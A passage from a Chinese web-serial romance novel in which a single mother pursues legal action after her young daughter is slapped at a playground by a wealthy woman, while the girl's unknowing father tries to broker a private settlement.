三小只应声后,一窝蜂似的跑进了城堡里面。 因为周六,人很多。 淘气堡很大,望眼看过去,上上下下全是孩子。 吵闹声嘈杂。 家长不能陪同,只能在出口外面的休息区等侯。 乔眠买了三瓶柠檬水,寻了一个位置坐下,等孩子们玩累了出来。 等待间隙,她登录招聘网站,浏览到邮箱有一条新的面试邀请。 最近,她投了不少简历。 面试邀请也不在少数。 但是,大多数线上HR了解到她在职时,就没有下文了。 她点开面试邀请链接,自动跳转到一家叫同尘的律所界面。 圈内没听过这个律所。 她点开简介一看,是一家新注册的律师事务所。 规模很小。 不在乔眠的考虑范围之内。 不是她眼界高,而是,她太需要钱了。 乔眠刚准备退出界面时,对方HR接连发了好几条在线消息。 问她什么时间方便面试。 乔眠直接坦言:【在职状态,可以参加面试吗?】 对方回复:【可以的,同尘虽然刚成立,但是,合伙人很有实力,薪资待遇也很好哦。】 最后一句话,吸引了她。 乔眠思考了一下,回复:【具体哪天可以面试?】 【随时哦,同尘期待您的加入。】 乔眠想了想,回复:【周一。】 不管好赖,先面试看看。 不到半年,她和荣华律所的合约就到期了。 总得提前做打算。 她刚退出招聘app,就发现身旁坐着的不少家长忽然起身,一个个往身后的淘气堡聚集。 紧接着,隐隐约约听到一个小女孩的哭声。 孩子们玩得地方,哭闹声跟正常。 但是,越来越多的家长往淘气堡那边挤时,不知为何,乔眠心下莫名一慌,立马收起手机,起身,拨开人群一看。 只见一个打扮时髦,年龄约模四五十岁的中年贵妇人,牵着一个打扮很精致洋气的小女孩。 小女孩捂着额头,一脸惊吓的张嘴哭着。 “痛痛……呜呜……我要爸爸妈妈……” 小女孩哭声很大,很委屈。 妇人一边检查小女孩其他地方有没有受伤,一边温声哄着,“念念不哭哦,爸爸妈妈马上来了哦。” 妇女背对乔眠,又一直低头哄着小女孩,所以,乔眠没看到她的脸。 可是,当妇人直起身体,牵着小女孩转过身来时,乔眠脸色瞬间白了一下。 继而身体狠狠一僵。 那个贵妇人,她认识。 宋蔓的小姨,蒋芸。 宋蔓父母去世后,蒋芸一直照顾着宋蔓姐弟俩。 是宋蔓最信任的亲人。 当年,宋蔓私底下动辄就找她麻烦。 她挨的打,遭受的谩骂,实施者,几乎都是蒋芸。 乔眠攥着包的手指微微发颤。 下意识往人群中站了站。 她不想跟蒋芸打照面。 怕被认出来。 可是,在小女孩放下揉着眼睛的小手时,乔眠不由地一愣。 眼前的小女孩—— 上次在海洋馆见过。 是霍宴北和宋蔓的女儿。 刚才蒋芸唤她……念念。 就在她准备绕过人群,寻找三个小宝时,却看到淘气堡的工作人员牵着乔慕心走到了蒋芸面前。 乔眠脊背一寒,立马踢掉鞋子,急忙朝淘气堡内走去时,就看到蒋芸忽然伸手,一巴掌打在了乔慕心脸上,“哪来的野孩子,没长眼啊,瞅把我家孩子脑袋撞得?” 乔慕心小小瘦瘦的,哪里禁得住一个大人的耳刮子。 直接被扇倒在地上,当即哇啊一声哭出了声。 连工作人员都吓了一大跳。 周围的人更是倒吸一口凉气。 没想到一个家长会对一个孩子出手这么狠。 就在蒋芸指着乔慕心,张嘴就骂时,乔眠冲过去,一把将乔慕心从地上拉起来抱在怀里。 “妈妈……好痛哦……” 乔慕心张着嘴巴,委屈的扑进妈妈怀里,哭得稀里哗啦的。 挨了一巴掌的小脸,五根手指印十分明显。 那一刻,乔眠的心就像被万箭穿孔般疼。 她生养了六年的乖宝贝,从未动过一根手指头,也从未让孩子们受过一丁点委屈,更是从未见过女儿哭得这么大声,连气息都一抽一抽的。 乔眠气得浑身发抖,眼泪在眼眶中打转。 她哽咽着亲了亲女儿的额头,温声哄了一句,“妈妈在,不怕……” 听到‘妈妈’二字时,蒋芸居高临下的指着蹲在地下哄孩子的女人,“原来你是这野孩子的妈妈啊?来来来,你瞅……” 话到一半,乔眠颤抖着起身,冲过去,扬起巴掌,就要狠狠扇在蒋芸脸上时,手腕在空中,被一只修长白皙的大手猛地扣住。 乔眠转头望去。 就看到一张清冷矜贵的男人面孔。 是霍宴北。 第75章 和霍宴北再次闹到了警局 他穿着一身剪裁合体的高定西装。 布料质感顶级,气质雍容贵气,和充满烟火气的嘈杂声商场格格不入。 此时,他眉头紧拧,目光严肃地看着乔眠。 声音平静到毫无人性:“别动手。” 乔眠眼睛里缠着红血丝,豆大的泪珠闪动着,最后,一颗一颗砸了下来。 “别动手?” 她望着男人,嘲讽的冷笑,嗓音里带着明显的颤抖:“霍总……您真的适合当一个瞎子。” 霍宴北瞳孔猛地一震。 “你怎么知道……” “滚开!” 他开口要问什么时,乔眠憎恨的朝他吼了一声。 厌恶的用尽全力甩开他的手。 霍宴北怔了下。 之前,他见过乔眠生气时的模样,就像一只小野猫,毫无攻击力。 可此刻的乔眠,完全不一样。 她整个人变得阴冷至极。 一副杀人般的眼神,死死瞪着蒋芸。 跋扈惯了的蒋芸愣是被盯得吓了一跳。 她牵着霍思念的小手,立马往霍宴北身边站了站。 “你……你凶巴巴的瞪着我想干什么?明明是你的孩子把我家孩子撞倒的,脑袋上磕了好大一个包。” 乔眠这会儿哪里有耐心听她多说一句废话。 孰是孰非,都不及这一刻她想杀人的愤怒。 她恨不得手里有一把刀,立马捅死打了她宝贝女儿一巴掌的蒋芸! 就在她毫无理智,满目怒火的上前要打蒋芸时,霍宴北再次扣住她的手腕,用力将她一把扯开。 “乔眠,你冷静点,你要当着你孩子的面打人吗?” 霍宴北冷声劝道。 可是,人在气怒到极致时,身体是放空的,乔眠被他用力一甩,一个没站稳,身体趔趄了一下,撞到了淘气堡的围栏上。 霍宴北见状,伸手要扶她时,乔慕心忽然跑过来,一把抱住他的手腕,张口狠狠咬了一口。 咬的很重。 霍宴北疼得拧了一下眉。 但是,没挣开。 乔眠见状,一把将女儿拉到怀里。 乔慕心仰着小脸,哭着瞪着霍宴北:“坏叔叔,不许欺负我妈妈……呜呜……” 乔眠蹲下来,一把将乔慕心搂进怀里,克制着哽咽的声音,拍着她的薄背,柔声安抚,“乖宝,不哭,妈妈没事……” 也就在这一刻,她整个人一瞬间冷静了下来。 望着周围瞧热闹的人。 她意识到,这时候不能打人。 尤其是,不能当着这么多人的面动手。 她不能冲动。 女儿挨的这一巴掌,她得通过法律的方式讨回来。 就在这时,宋蔓姗姗来迟。 她跑的有点急,嘴里还喘着粗气,一把抱住早已经止住了哭声的霍思念,“念念,有没有伤到哪里?痛不痛啊?” 霍思念委屈的撇了撇小嘴儿,指着额头上肿起来的一个包,“妈妈,这里痛……” “宝贝,不怕哦,妈妈揉揉。” 宋蔓心疼的厉害,抬手,刚一碰到女儿的脑袋时,霍思念就哭着喊疼。 “痛……妈妈,好痛哦。” 宋蔓一听,更紧张了。 霍宴北弯腰抱起女儿,看向宋蔓,“先去医院。” “等下。” 宋蔓不肯走,“我们女儿被欺负了,这就算了?” 说罢,她走到乔眠身前,目光严肃的瞪着她,“乔眠,是你家孩子撞倒了我女儿,对吧?” 这时,蒋芸跳出来,指着乔眠身后的乔慕心,“是啊,蔓蔓,就是她女儿推的咱们念念!” 宋蔓听后,瞪着乔眠的眼神愈加不悦,“孩子之间磕碰很正常,但是,我女儿脑袋上那么大一个包,你总该给我个说法,让你女儿给我女儿道个歉,看在我们认识的份上,这事就不追究了。” 语落,霍宴北沉着脸,伸手,攥住她的手,淡声:“先送女儿去医院。” 宋蔓还想不依不饶时,沉默良久的乔眠,目光森冷的看着夫妻二人,“你们口口声声说是我女儿推了你们的女儿,还让我女儿道歉,好啊,公平公正起见,报警吧。” 说罢,颤着手从口袋掏出手机,准备拨打110时,不远处,两个身穿制服的警察走了过来。 “让一让,这到底怎么回事?” 警察拨开人群,走过来,看着大人小孩对峙站着,问道。 乔眠垂眸,看了一眼未播出去的报警电话,困惑的皱起了眉。 不知道是谁报了警。 不过,她没空想这个。 环视了一圈环境后,她将女儿从地上抱起来,看向警察说,“警察同志,想要弄清楚具体发生了什么事情,麻烦您调取一下监控视频。” 说着,指了指乔慕心红肿的小脸,“还有,我女儿被打了一巴掌,我申请验伤,即便警方不处理,我也会起诉,追责到底。” 警察看到乔慕心的脸时,着实吓了一跳。 那张小脸肉眼可见的又红又肿。 宋蔓也吓了一跳。 刚才只顾跟乔眠理论,压根不知道乔眠女儿被打一巴掌的事情。 她第一时间看向蒋芸。 蒋芸心虚的捋了一下鬓发,咳嗽了一声,“蔓蔓,我刚才是气……” “别说话。” 宋蔓急忙朝小姨使眼色,示意她闭嘴。 然后,掏出手机,给顾淮年发了一条微信。 而此时的霍宴北,深邃立体的五官沉冷的吓人。 复杂的眼神,自始至终落在乔眠那张充满委屈又倔强的小脸上。 尤其是,看到她怀里的小女孩时,心里有一种说不清楚的钝痛感。 “宴北。” 宋蔓挽住他的胳膊,晃了一下,“怎么办?” 霍宴北看向警察,“既然已经报警了,该走流程就走流程,只是,我现在需要带我女儿去趟医院检查身体。” “好,那签个字,之后有任何情况,警方这边随时会联系您。” 说罢,警察把一份告知书递给他。 霍宴北签字之后,看了一眼乔眠,“坐我的车一起去医院吧,给孩子先检查身体。” 乔眠冷声拒绝,“不必,我自己会去。” 说到这里,她忽然想起乔慕城和乔慕野。 这俩孩子难道还在里面玩吗? 她转身,望着一共三层的淘气堡,在一堆孩子里寻找孩子们的身影时,手机响了一下。 第76章 在医院被他抱了起来 她将女儿放下,打开手机一看,是阮薇发来的一条微信。 【眠眠,别担心,孩子们和我在一起呢。】 乔眠松了一口气。 虽然不知道阮薇怎么也来了商场,但是,只要慕城和慕野和她在一起,她就放心了。 想来,那通报警电话是阮薇打的。 “爸爸,抱抱……” 这时,宋蔓怀里的霍思念哭闹着要抱抱。 霍宴北收回目光,从宋蔓怀里接过女儿抱进怀里,然后,抬步离开了商场。 乔眠望着相依而去的一家三口,再低头,看了一眼小脸红肿的女儿,心里一阵刺痛。 她深深吸了一口气,调整好情绪,冷静开口:“警察同志,我现在正式报案,我女儿被人打了,除了监控视频为证,在场不少人也看到了,还有许多人拍照录了视频,您现在就可以取证调查。” “女士,您放心,我们会调查清楚的。” 说罢,简单做了笔录,让她填了一张表格后,警察去调监控了。 乔眠带着乔慕心出了商场,打车去医院验伤。 上车后,乔慕心趴在她怀里,眼睛里闪着泪花,抽噎着说,“妈妈,我不喜欢那个帅叔叔了……他是个坏叔叔……” “好,我们不喜欢他……” 乔眠心情复杂的抱紧女儿,伸手,轻轻揉了揉她的小脸,“还痛不痛?” 乔慕心小嘴儿一撇,眼泪吧嗒一下落了下来,“痛……” 乔眠的心狠狠揪扯了一下,轻柔地擦掉她脸上的泪珠,“心心乖哦,我们去医院,让医生涂点药膏就不痛了。” 乔慕心软乎乎的小手擦掉妈妈眼角沁出的泪珠,“妈妈不哭,心心只是有一点点痛……” 女儿懂事的太让人心疼了。 乔眠温声哄着问,“心心,告诉妈妈,是你撞到了那个小朋友了吗?” 乔慕心皱着小脸, 瘪着小嘴说,“是我撞倒的那个小朋友,可是,我不是故意的……” 说完,一脸担忧的问,“妈妈,我会不会被警察叔叔抓走?” “不会不会。” 乔眠心疼的搂紧女儿,在她额头上亲了亲:“从现在开始,心心不要再想这件事了,一切都交给妈妈来处理,好不好?” “嗯,心心听妈妈的话。” “乖宝……” 哄了好一会儿,女儿受惊的情绪才稍稍稳定下来。 抵达医院后,乔眠让医生开了一大堆检查单。 忙了小半天,还有几样检查没做。 乔慕心说有些饿了。 她买了牛奶和面包,让孩子先垫垫肚子。 吃完后,带着孩子做其他检查。 最后一项检查是CT。 叫号机上显示前面还有两个人在排队。 此时,CT室门外的休息区坐满了人。 乔眠领着女儿,准备去旁边的走廊,寻个位置坐下时,没想到,在过道里遇到了霍宴北。 他手里拿着一个装着CT片子的袋子,应该是来取女儿的检查结果。 看到她时,脸上没什么表情,目光平静地扫了一眼她牵着的乔慕心。 他刚要开口说些什么时,乔慕心吓得一个激灵,躲在了乔眠身后。 而后,露出一只毛茸茸的小脑袋,眼神怯怯地偷偷瞄了坏叔叔一眼后,小手扯了扯乔眠的手,“妈妈,坏叔叔是来抓我的吗?” 听到‘坏叔叔’三个字时,霍宴北僵硬的站直身体。 乔眠安抚地揉揉女儿的小脑袋,轻声道,“妈妈在,不怕。” 孩子的世界很单纯。 她撞倒了一个小朋友,被对方家长打了一巴掌。 现在遇到那个小朋友的爸爸,自是认为他是来抓她算账的。 “来做检查?” 霍宴北望了一眼她手里拿着的单子,问。 乔眠眼神冷漠,没理他。 拉着女儿转身就走。 刚走到CT检查室门前,就听到医生叫乔慕心的名字。 她把单子递给医生。 医生看完后,说了一些注意事项,让她领着孩子进去。 听从医生的指示,把乔慕心放在仪器床上,安抚好女儿情绪后,才又走出来。 一抬眼,就看到了霍宴北。 乔眠依旧没理他,靠在一旁站着,目光专注地望着紧闭的检查室门。 霍宴北见她态度冷若冰霜,走过来一步,“今天的事情……” “已经交给警方处理了。” 乔眠转眸,目光涔亮的看着他,“霍总,我们还是等警方调查完结果后,再沟通吧。” “乔眠。” 霍宴北沉声唤了她一声,“你在恼我?” 乔眠眉头狠狠一压,“霍总,如果您的宝贝女儿,被人打了一巴掌,您会怎么样?” 她很想说:你的女儿乔慕心,被人打了一巴掌! 她很想看看,如果他听到这句话后,会是怎样的表情? 可是,没有如果。 如果有‘如果’的话,她死都不要再遇见他! 霍宴北被怼了一句,微微蹙了下眉,“你女儿的医药费,我负责。” 乔眠想笑,鼻尖泛起的酸意却让她红了眼眶:“霍总又想拿钱了事?” 男人皱眉:“乔眠,孩子的事情自有分说明白的时候,我是好意。” “好意?我就得受着?” 她凉声,又怼了一句。 霍宴北眉头皱的更紧了,刚欲开口时,检查室门缓缓打开。 医生喊道,“乔慕心家属在吗?” “我在。” 乔眠举手示意。 “检查做完了,进来带孩子出去吧。” “好……” 乔眠刚一抬步,眼前忽然一黑。 紧接着,脑袋传来一阵眩晕感。 她身体一晃,下意识想要抓住什么时,一只大手紧紧扣住了她的腰。 “你怎么了?” 霍宴北掌心托举着她后腰,使得她才堪堪站直身体。 医生观她面色发白,额头渗着一层薄汗,立马道,“她应该是低血糖了,快扶你老婆坐下休息一下。” 听到‘老婆’两个字时,乔眠厌恶的要挣开他的手时,霍宴北直接打横抱起她,走到休息区,将她放在一个空位上。 “你先坐一会儿,我替你接孩子出来。” 说完,把手腕上挂着的袋子放在了乔眠怀里。 不等她回绝,转身,由医生带着走进了检查室。 乔眠着急的撑着扶手站起身,身体微微打晃,走到检查室门口时, 霍宴北正好抱着乔慕心走了出来。 第77章 带女儿去医院遇到霍宴北 乔眠着急的撑着扶手站起身,身体微微打晃,走到检查室门口时, 霍宴北正好抱着乔慕心走了出来。 “妈妈,我要妈妈抱……” 乔慕心抗拒被霍宴北抱着,看到乔眠时,探着半个身体,张开双手就要扑过来。 乔眠刚要伸手去接时,霍宴北侧身避开,“你自己都快晕倒了,还抱的动孩子吗?” 乔眠抿了抿泛白的唇。 确实,她这会儿脑袋还有些晕晕的,抱孩子确实吃力。 “妈妈,你怎么了?” 乔慕心听到霍宴北的话,看着妈妈问。 乔眠还没开口,霍宴北揉了揉小女孩的脑袋,“你妈妈刚才身体不舒服。” 说完,单手抱着乔慕心,另一只手攥住乔眠的手腕,走到休息区,把孩子放在座椅上后,扶着乔眠坐下,“你们坐会儿,我去那边帮你取检查结果。” 说罢,抬步朝医生办公室走去了。 “妈妈,坏叔叔……好像又变得不坏了。” 乔慕心小声咕哝了一句。 乔眠若有所思的皱了皱眉,没有说话。 好在坐了一会儿,脑袋那股眩晕感减轻不少。 只是身上没什么力气。 等了约模三分钟, 霍宴北拿着乔慕心的CT片子回来。 “还有其他检查吗?” 他问。 乔眠接过片子,摇了摇头。 “现在要去医生办公室吗?” “嗯,我带孩子……” 话到一半,霍宴北弯腰把乔慕心抱在了怀里,“我送你们过去。” 此时,乔慕心没有先前那么怕霍宴北了,眼睛亮亮的看着他,“叔叔,你不许再欺负我妈妈。” 霍宴北弯唇,“不会了。” 说罢,抱着乔慕心抬步朝电梯口走去。 乔眠虽不情愿,却也只得跟上。 …… 医生办公室。 乔眠把所有的检查结果递给医生。 医生看完后,总结说道,“孩子脸上的伤属于软组织挫伤,问题不大,我开点药膏涂抹几次就消肿了,关键是……” 医生指着片子,说,“耳朵有轻微鼓膜受损。” 乔眠立时紧张起来,“问题严重吗?” 医生:“目前看,只是轻微受损,可以先吃点药看看,如果后面出现明显耳痛、耳鸣的情况,就得做进一步检查,查看听力是否受损。” 乔眠听完后,面色凝重:“医生,麻烦您把这些问题全部写进诊断书里。” 带着女儿走出医生办公室后,隔着一段距离,就看到霍宴北靠着走廊的墙壁,身形修长挺拔,一只手提着两个袋子,另一只手拿着手机在打电话。 听到动静,侧目看过来一眼后,挂了电话,抬步走到她面前,“医生怎么说?” 乔眠拉着女儿后退一步,声音冷淡道,“之后警方会通知你的。” 说完,拉着女儿就走。 霍宴北伸手拦了一下,“我送你们回去吧。” “不必了。” 男人抿了下唇,把一个袋子递到她手里,“你低血糖,吃点东西再走。” “谢谢,我已经没事了。” 说完,乔眠把那袋吃的推还到他手里后,牵住女儿的小手,快步离开。 望着一大一小离开的身影,霍宴北眉头微拧,心里那股说不清楚的钝痛感再次袭来。 他呆站了一会儿后,抬步进了医生办公室。 …… 乔眠从医院出来后,直接打车回了出租屋。 一进门,乔慕城和乔慕野正坐在客厅里看动画片。 阮薇在厨房忙着做饭。 听到动静,快步走了出来,看到乔慕心的脸时,心疼的抱过去,亲了亲她的额头,“哎呦,我的乖宝,今天受委屈了,还痛不痛?” 乔慕心脸上涂了药膏,早就已经不痛了。 只是,脸上稍稍还有一些红肿。 “不痛了。” 乔慕心贴了贴她的脸,“妈妈带我看过医生了。” 阮薇心疼的抱紧乔慕心在沙发上坐下来。 乔眠走过去,挨着坐下,乔慕城和乔慕野挤了过来,看到妹妹的脸时,问道,“乔慕心,你脸怎么了?” 看到两个儿子的反应,乔眠这才知道,原来乔慕城和乔慕野不知道妹妹被打一事。 她看向阮薇。 阮薇拉着她起身,走到阳台说:“今天也是赶巧,我跟人相亲,下扶梯时,看到你在二楼淘气堡休息区坐着。” “本来想过去找你的,没成想,淘气堡那边已经出事了。” “你跟那个死女人,还有霍宴北起争执时,我就把还在三层玩的慕城和慕野接走了。” 乔眠恍然,“还好你来了。” 阮薇勾住她的肩膀,气哄哄的咬牙,“若不是担心慕城和慕野被霍宴北看到,我早就冲过去撕烂那个死女人的脸了。” 乔眠皱着眉,“我也想打人,可是忍住了,如果当时打回去,出了一口气,根本解决不了问题。” 说到这里,她苦涩一笑,“还好,你报警了。” “啊?报警?” 阮薇一脸茫然,“我没有报警啊。” 乔眠愣住,“不是你报的警,那是谁?” “估计是热心群众呗,那个死女人打一个小孩子,引起众怒了。” 乔眠若有所思的点点头,“或许吧。” “对了,接下来怎么办?咱可不能让心心白挨这一把掌。” “那是自然,我带着心心已经验过伤了,再加上监控视频,这次,对方至少拘留七天。” 阮薇惊呼,“只有七天?” 乔眠无奈,“顶多附加一些经济赔偿。” “那就往死了让她赔,那个死女人要是再让我遇见,我也要扇她一巴掌,让她尝尝鲜。” “好啦,明天你帮我看下孩子,我去警局跟进这件事。” “没问题。” 两人聊了一会儿,回到客厅时,就看到乔慕城帮妹妹揉着脸颊,“心心,下次哥哥一定保护好你。” 乔慕野一脸自责,“都怪我,只顾着爬到最高处玩,没看好妹妹。” 乔眠心里一阵心疼,走过去,把孩子们揽进怀里,“今天是个小意外,我们忘记这件不愉快的事情,好吗?” “哥哥,我没事,一点都不疼了。” 乔慕心说着,看向妈妈,“我饿了。” “哎呀,我的鱼。” 第78章 问他谈恋爱吗 【要不要跟我谈谈?】 乔慕城盯着霍叔叔发来的微信,小脑瓜一转。 霍叔叔是在跟妈妈告白吗? 他觉得还是有必要确认一下,于是回复:【谈恋爱吗?】 …… 京市第一人民医院。 霍宴北斜靠着楼梯通道的窗口正在抽烟。 手机弹出一条微信消息。 看到对方回复【谈恋爱吗?】这条消息时,紧拢的眉心微微一跳。 乔眠说……谈恋爱? 下午那会儿,她还对他冷若冰霜,满眼仇恨,现在却提起了谈恋爱? 她在开玩笑,还是认真的? 霍宴北回复:【你什么意思?】 乔慕城看到新的回复时,趁乔眠和阮薇在厨房忙着做饭时,招呼弟弟妹妹过来。 看完聊天内容后,乔慕心眼睛都亮了,“霍叔叔是在征求妈妈的意见呢,看来霍叔叔很喜欢妈妈耶。” 乔慕野认同的点头,“我们要不要给妈妈看下?让妈妈回复。” 乔慕城摇头,“我们帮妈妈考察清楚霍叔叔的心意之后,再告诉妈妈吧。” 乔慕心:“对,从照片上看,霍叔叔长得不算太帅,配不上妈妈,还是先继续观察观察吧。” 乔慕野表示赞同。 乔慕城综合弟弟妹妹的意见,回复:【想谈恋爱的话,你得拿出诚意。】 霍宴北看到这条微信时,唇角抽了一下。 乔眠没在开玩笑,是真的想跟他谈恋爱…… 她之前不是一直不肯答应和他在一起吗? 态度怎么转变这么快? 而且,下午因为孩子的事情,对他意见很大。 一根烟燃尽,霍宴北将最后一点星火碾灭,丢进垃圾桶后,回复:“什么诚意?” 乔慕城收到微信后,给弟弟妹妹看。 乔慕野:“诚意的话……我觉得应该像电视剧里的男主追求女主那样,让他对妈妈展开一次热烈的追求。” 乔慕心附和:“对哦,咱们班的李老师,每天都能收到一捧鲜花,好幸福哦。” 乔慕城觉得在理,于是回复:【追我。】 霍宴北盯着‘追我’两个字,脑门青筋狠狠一跳。 追她? 总觉得哪里怪怪的…… 正思索时,走廊里传来宋蔓和蒋芸的争执声。 “蔓蔓,自从你父母去世后,是我守在你身边,照顾你和阿沉,没有功劳也有苦劳吧?” “我把你当女儿一样疼,我见你最近身体不好,又为巡演的事情很忙,好心帮你照顾孩子,现在出了事,你就不管我了?” 蒋芸哭诉着说了一大车话。 宋蔓见她这么生气,急忙扶着她在走廊的长椅上坐下,“小姨,我也没说不管你啊,您打了乔眠的女儿,这事已经闹到了警局,宴北说乔眠已经带孩子做了伤情鉴定,现在最好的解决办法就是私下和解……” “你的意思是让我跟那野孩子道歉不成?” 蒋芸跳起来,恼火道:“我打了那野孩子还不是因为护着念念?念念脑袋上的包到现在还没消呢!要我说,我打那一巴掌就是轻的!” “让我道歉,我的脸面往哪儿搁?我还不如一脖子吊死算了!蔓蔓,我可是你亲小姨,你要是不帮我把这件事情摆平,我就死给你看!” 蒋芸一把鼻涕一把泪,连哭诉带威胁的闹腾完,踩着高跟鞋扬长而去。 宋蔓唯恐蒋芸那脾气再闹出什么乱子,焦急地追了两步,呛了点风,禁不住捂住嘴,咳嗽起来。 霍宴北走过去,扶了她一把。 宋蔓抬头,看着霍宴北,委屈的红了眼眶,“宴北,你都听见了?” “嗯。” 宋蔓握住他的手,“我小姨性子傲惯了,道歉是不可能了,宴北,我们想想办法,让乔眠主动撤案。” 霍宴北眉头微蹙:“她要做什么,我干涉不了。” “你是她上司,你要求她做什么,难道她还不敢听?” 霍宴北抿紧薄唇,“打人的事情跟工作无关。” 宋蔓沉吟片刻:“要不,我们给她点钱……” “给钱估计也解决不了问题。” 随着一道淳厚的嗓音传来,顾淮年从走廊另一端走过来。 宋蔓掩嘴咳嗽了几声:“你这话什么意思?” 顾淮年见她咳嗽的脸颊泛红,隐隐有些担忧,但面上没表露出来,只是说话语气温和很多:“我刚从警局回来,警察已经拿到了监控视频,而且给乔眠打电话确认过,乔眠那边,不接受任何道歉和调解,所以,即便你们给钱,她也不会收。” 宋蔓拧眉,“既然她做事不留余地,那么我也要报案,她女儿把念念撞倒,脑袋上肿了一个大包,我这有验伤报告,我也要追究她的责任!” “不一样。” 顾淮年解释,“念念和她女儿磕碰一事,法律层面上,孩子家长顶多就是批评教育一下,给你们赔偿点医药费,和你小姨打伤人家孩子,完全不是一个性质的案子。” 宋蔓:“那如果乔眠死咬着不放的话,我小姨会怎么样?” “根据《治安管理处罚法》第四十三条,故意伤害他人身体,处五日以上十日以下拘留。” 霍宴北淡声说完,看向顾淮年,又补充一句:“被打者是未成年人的话,法律规定从重处罚,将面临十日以上十五日以下拘留,对吧?】 “……” 顾淮年诧异了一下。 但很快想到霍宴北熟知法条,是因为曾经受霍妩的影响,不禁揶揄了一句:“法条背的这么溜,不知道的,以为你才是律师。” 霍宴北没理他。 宋蔓暗暗攥了攥手指。 霍宴北熟背法条,证明他还是没有放下霍妩…… 想到这些,她心里嫉妒又恨。 难道她还比不上一个死人吗? 宋蔓强行整理好情绪,回到正题上:“那现在怎么办?难不成真的眼睁睁的看着我小姨进去蹲半个月?她心脏不好,进局子就是要了她的命。” 宋蔓说着,急得快哭了出来,“宴北,以霍家在政圈的关系,疏通一下,帮帮我小姨吧?” 霍宴北轻拍了一下她的肩膀,“你进去陪念念吧,我跟淮年聊会儿。” 第79章 跟霍宴北在警局闹掰对峙 “好……” 宋蔓迟疑了一下,进了病房。 霍宴北没明确拒绝,应该不会不管她小姨的。 顾淮年目送宋蔓进入病房后,转头,问霍宴北,“宋蔓为她小姨的事情急成这样了,你稍微动点关系就能搞定,刚才怎么不表态?” 霍宴北斜靠着墙壁,双手闲散抄兜,“杀鸡用宰牛刀,只会把事情闹得越来越大。” “什么意思?” “别忘了,乔眠是律师,她最懂如何运用法律,即便动用关系压下这个案子,也别忘了,沈家和黎家那两位公子是怎么进去的。” 顾淮年:“你还是怀疑沈家和黎家那两位公子进去一案,是乔眠在背后操纵的?” “不是怀疑,是确认。” “可是,她不是‘悬剑’。” 霍宴北从手机里调出一张照片,展示给顾怀年:“悬剑发布微博的同一时间,乔眠出现在一家网吧,我让技术员还原了那台机器的数据使用痕迹,乔眠在那台机器上登录过微博,这些,还不够说明一切吗?” “我靠!” 顾淮年惊呼一声,“她居然就是‘悬剑’?我还是她微博的粉丝呢,没想到‘悬剑’本尊居然是乔眠!” 顾淮年震惊不已。 眸底满是赞色。 ‘悬剑’在他们圈子里,就是一个神龙见首不见尾,不畏强权、伸张正义的神秘大佬。 所有人都猜测‘悬剑’定是一个血性男人。 真没想到,‘悬剑’居然是一个女人。 还是他欺负过的乔眠。 顾淮年摇头失笑,“所以,这件案子不能闹大,只能指望乔眠那边同意私下和解呗。” 霍宴北点头,“是。” 顾淮年思索几秒,扬了一下眉,“能够卧底取证,差点把哑女案翻过来,逼得你堂堂霍氏总裁主动给荣华律所送业务,这么一联系,乔眠倒是对得上‘悬剑’的称号。” 说到这里,顾淮年唇角勾起一抹狡黠:“可咱手里不是还捏着她的把柄呢?” …… 翌日。 早上,乔眠起床做好早餐放在餐桌上。 阮薇和孩子们还在睡觉,她留了一张字条后,出门准备去一趟警局。 刚走出弄堂,就看到一辆熟悉的劳斯莱斯停在路边。 是霍宴北的车。 乔眠知道他来找她,想必是为了宋蔓小姨蒋芸的事情。 她不想理他。 绕道朝公交站台走去。 没走出几步,劳斯莱斯调转车头,横在了她面前。 霍宴北单臂搭在车窗上,修长的手指夹着一根燃了一半的香烟,冷峻深邃的五官没什么表情,声音淡淡,“上车。” 乔眠面色不虞:“霍总,现在不是工作时间,我们之间没什么可聊的。” “那就没办法了。” “……” 乔眠怔愣的目光中,霍宴北打开车门下来,一把将她打横抱了起来。 “霍总,请自重。” 乔眠惊慌的瞪着他。 霍宴北垂眸,目光落在女人白皙干净的小脸上:“不是要跟我谈恋爱?还装什么自重?” 乔眠羞恼的推他肩膀:“谁……谁要跟你谈恋爱了?” 男人冷笑一声,“不承认就算了,不过,我找你,不是说这事的。” 语落,抱着她上车。 乔眠也没空理会‘谈恋爱’这个话题,第一反应就是下车。 但是,刚握住车门把手,车门锁死了。 紧接着,车子开了出去。 她只好放弃。 紧靠着车窗,皱眉看着霍宴北:“霍总,你想说什么?” 霍宴北见她气呼呼的小脸泛红,像一个孩子似的,忍不住伸手揉了揉她的发顶,“乔眠,我不是跟你吵架的。” 乔眠冷着脸,推开他的手,“你是为了你妻子的小姨蒋芸来找我的?” 霍宴北目光微凝,“你怎么知道她是宋蔓的小姨,而且还知道她的名字?” 乔眠怔了一下。 很想朝自己嘴上打一巴掌。 被他气糊涂了,说漏嘴了。 不过,她很快就找补回来,“她打了我女儿一巴掌,我自然得从警察那里问清楚她什么身份,叫什么吧?” 霍宴北听后,不疑有他,“这事你预备怎么办?” 乔眠静静地看着他,“霍总,您是以蒋芸的家属身份问我这个问题吗?” “有区别吗?” 他反问。 乔眠扯了扯嘴角,“所以,这个案子,你又要干涉?” 男人思虑两秒,嗯了一声。 乔眠暗暗咬牙,直言道,“我不接受调解,走法律程序。” “那……赔偿呢?” “不接受。” 她说的绝对,不留一丝余地。 霍宴北扣住她的手腕,“非要闹大?” 乔眠气笑了,“是蒋芸打了我女儿,你说我闹?霍总,敢情儿挨打的不是你女儿!” 最后一句话,她没控制住情绪,声音有点大。 霍宴北脸色变得有些难看,“伤人是不对,你维护自己的女儿也没错,但是,惩罚别人的方式有很多种,不一定非得把事情做太绝。” 乔眠眼神冰冷,“你到底想说什么?” 霍宴北:“我的意思是,让蒋芸给你道歉,再补偿一笔钱,你撤案。” 乔眠冷冷回敬两个字,“做梦。” 男人无奈,揉了揉她的脑袋,“真够倔强的。” “别碰我。” 乔眠像一只应激的小野猫,拨开他的手:“我的态度很明确,我们之间没什么可聊的了,霍总,麻烦停车。” 霍宴北抿唇,“要去警局?” “对。” “那一起吧。” 乔眠咬了一下唇角,“也好,警察已经调取了监控视频,正好我们一起看看,我女儿是怎么撞倒的你女儿。” 说到这里,又补了一句,“当然,如果是我女儿撞到的你女儿,我会道歉,并且赔偿您女儿的医药费。” 霍宴北见她冷漠的毫无一点讲情面的余地,轻笑一声,什么也没说。 半个多小时,两人抵达警局。 只是,刚下车,就遇到了顾淮年。 “乔大美女。” 顾淮年笑嘻嘻的朝她招手,同时,瞄了一眼她的光裸白皙的手腕,“啧啧,我送你的手链怎么不戴着?” 